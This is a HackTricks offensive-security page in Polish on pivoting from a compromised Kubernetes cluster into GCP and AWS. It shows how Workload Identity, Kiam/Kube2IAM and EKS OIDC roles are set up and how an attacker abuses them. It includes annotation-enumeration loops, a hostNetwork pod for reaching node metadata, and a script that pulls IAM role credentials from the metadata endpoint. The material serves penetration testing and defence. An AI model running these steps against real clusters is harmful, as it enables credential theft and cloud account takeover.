Kubernetes Pivoting to Clouds

Wesprzyj HackTricks

GCP

Jeśli uruchamiasz klaster k8s wewnątrz GCP, prawdopodobnie chcesz, aby niektóre aplikacje uruchomione wewnątrz klastra miały dostęp do GCP. Istnieją 2 powszechne sposoby, aby to osiągnąć:

Montowanie kluczy GCP-SA jako sekretu

Powszechnym sposobem udzielenia dostępu aplikacji kubernetes do GCP jest:

  • Utwórz konto usługi GCP

  • Przypisz do niego pożądane uprawnienia

  • Pobierz klucz json utworzonego SA

  • Zamontuj go jako sekret wewnątrz poda

  • Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą ścieżkę, gdzie znajduje się plik json.

Dlatego, jako atakujący, jeśli skompromitujesz kontener wewnątrz poda, powinieneś sprawdzić tę zmienną środowiskową i pliki json z danymi uwierzytelniającymi GCP.

Powiązanie json GSA z sekretem KSA

Sposób udzielenia dostępu GSA do klastra GKE polega na ich powiązaniu w następujący sposób:

  • Utwórz konto usługi Kubernetes w tej samej przestrzeni nazw co Twój klaster GKE, używając następującej komendy:

Copy codekubectl create serviceaccount <service-account-name>
  • Utwórz tajemnicę Kubernetes, która zawiera dane uwierzytelniające konta usługi GCP, do którego chcesz udzielić dostępu do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń gcloud, jak pokazano w poniższym przykładzie:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Przypisz tajemnicę Kubernetes do konta usługi Kubernetes za pomocą następującej komendy:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

W drugim kroku ustawiono poświadczenia GSA jako tajemnicę KSA. Następnie, jeśli możesz odczytać tę tajemnicę z wnętrza klastra GKE, możesz eskalować do tego konta usługi GCP.

Tożsamość obciążenia GKE

Dzięki Tożsamości Obciążenia możemy skonfigurować konto usługi Kubernetes tak, aby działało jako konto usługi Google. Pojemniki uruchamiane z kontem usługi Kubernetes automatycznie uwierzytelniają się jako konto usługi Google podczas dostępu do interfejsów API Google Cloud.

Pierwsza seria kroków do włączenia tego zachowania polega na włączeniu Tożsamości Obciążenia w GCP (kroki) i utworzeniu konta GCP SA, które chcesz, aby k8s podawał się za nie.

  • Włącz Tożsamość Obciążenia w nowym klastrze

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Utwórz/Zaktualizuj nowy nodepool (Klastry Autopilot nie potrzebują tego)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Utwórz Konto usługi GCP do podrobienia z K8s z uprawnieniami GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Połącz się z klastrzem i utwórz konto usługi do użycia

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Połącz GSA z KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Uruchom pod z KSA i sprawdź dostęp do GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Sprawdź poniższą komendę w celu uwierzytelnienia, jeśli jest to konieczne:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Jako atakujący wewnątrz K8s powinieneś szukać SAs z adnotacją iam.gke.io/gcp-service-account, ponieważ wskazuje to, że SA może uzyskać dostęp do czegoś w GCP. Inną opcją byłoby próbowanie nadużyć każdego KSA w klastrze i sprawdzenie, czy ma dostęp. Zawsze interesujące jest wyliczenie powiązań z GCP i zrozumienie, jakie uprawnienia nadajesz SAs wewnątrz Kubernetes.

To skrypt umożliwia łatwe iterowanie po definicjach wszystkich modułów w poszukiwaniu tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Jednym (przestarzałym) sposobem przyznawania ról IAM dla modułów jest użycie Kiam lub Kube2IAM serwera. W zasadzie musisz uruchomić daemonset w swoim klastrze z rodzajem uprzywilejowanej roli IAM. Ten daemonset będzie odpowiedzialny za udzielenie dostępu do ról IAM modułom, które go potrzebują.

Po pierwsze musisz skonfigurować które role mogą być dostępne wewnątrz przestrzeni nazw, i robisz to za pomocą adnotacji w obiekcie przestrzeni nazw:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Gdy przestrzeń nazw jest skonfigurowana z rolami IAM, możesz wskazać rolę, którą chcesz przypisać do każdej definicji poda za pomocą czegoś w rodzaju:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Jako atakujący, jeśli znajdziesz te adnotacje w podach lub przestrzeniach nazw lub uruchomionym serwerze kiam/kube2iam (prawdopodobnie w kube-system), możesz podawać się za każdą rolę, która jest już używana przez pody i więcej (jeśli masz dostęp do konta AWS, wylicz role).

Utwórz Pod z rolą IAM

Rola IAM, którą należy wskazać, musi znajdować się w tym samym koncie AWS co rola kiam/kube2iam i ta rola musi mieć do niej dostęp.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Rola IAM dla kont usług K8s za pomocą OIDC

Jest to zalecany sposób przez AWS.

  1. Następnie tworzysz rolę IAM z uprawnieniami, których będzie wymagał SA.

  2. Utwórz relację zaufania między rolą IAM a SA nazwą (lub przestrzeniami nazw, które umożliwiają dostęp do roli wszystkim SA w przestrzeni nazw). Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę SA.

  3. Wreszcie, utwórz SA z adnotacją wskazującą ARN roli, a pody działające z tym SA będą miały dostęp do tokenu roli. Token jest zapisany w pliku, a ścieżka jest określona w AWS_WEB_IDENTITY_TOKEN_FILE (domyślnie: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Aby uzyskać dostęp do aws za pomocą tokena z /var/run/secrets/eks.amazonaws.com/serviceaccount/token, uruchom:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Jako atakujący, jeśli możesz wyliczyć klaster K8s, sprawdź konta usług z tą adnotacją, aby eskalować do AWS. Aby to zrobić, po prostu wykonaj/utwórz pod używając jednego z uprzywilejowanych kont usług IAM i skradnij token.

Co więcej, jeśli jesteś wewnątrz poda, sprawdź zmienne środowiskowe takie jak AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

Czasami Polityka Zaufania roli może być źle skonfigurowana i zamiast udzielać dostępu AssumeRole oczekiwanemu kontu usługi, udziela go wszystkim kontom usług. Dlatego jeśli jesteś w stanie napisać adnotację na kontrolowanym koncie usługi, możesz uzyskać dostęp do roli.

Sprawdź następną stronę po więcej informacji:

AWS - Federation Abuse

Znajdź Pody i Konta Usług z Rolami IAM w Klasterze

To jest skrypt do łatwego iterowania po wszystkich podach i definicjach kont usług szukając tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Rola IAM węzła

Poprzedni rozdział dotyczył sposobów kradzieży ról IAM za pomocą kubków, ale zauważ, że Węzeł klastra K8s będzie instancją w chmurze. Oznacza to, że Węzeł prawdopodobnie będzie miał nową rolę IAM, którą można ukraść (zauważ, że zazwyczaj wszystkie węzły klastra K8s będą miały tę samą rolę IAM, więc może nie warto sprawdzać każdego węzła).

Jednak istnieje ważne wymaganie dotyczące dostępu do punktu końcowego metadanych z węzła, musisz być na węźle (sesja ssh?) lub przynajmniej mieć tę samą sieć:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Skradnij token roli IAM

Wcześniej omówiliśmy, jak dołączyć role IAM do modułów lub nawet jak uciec do węzła, aby ukraść rolę IAM, którą instancja ma dołączoną do siebie.

Możesz użyć poniższego skryptu, aby ukraść nowo zdobyte poświadczenia roli IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Odnośniki

Wesprzyj HackTricks

Last updated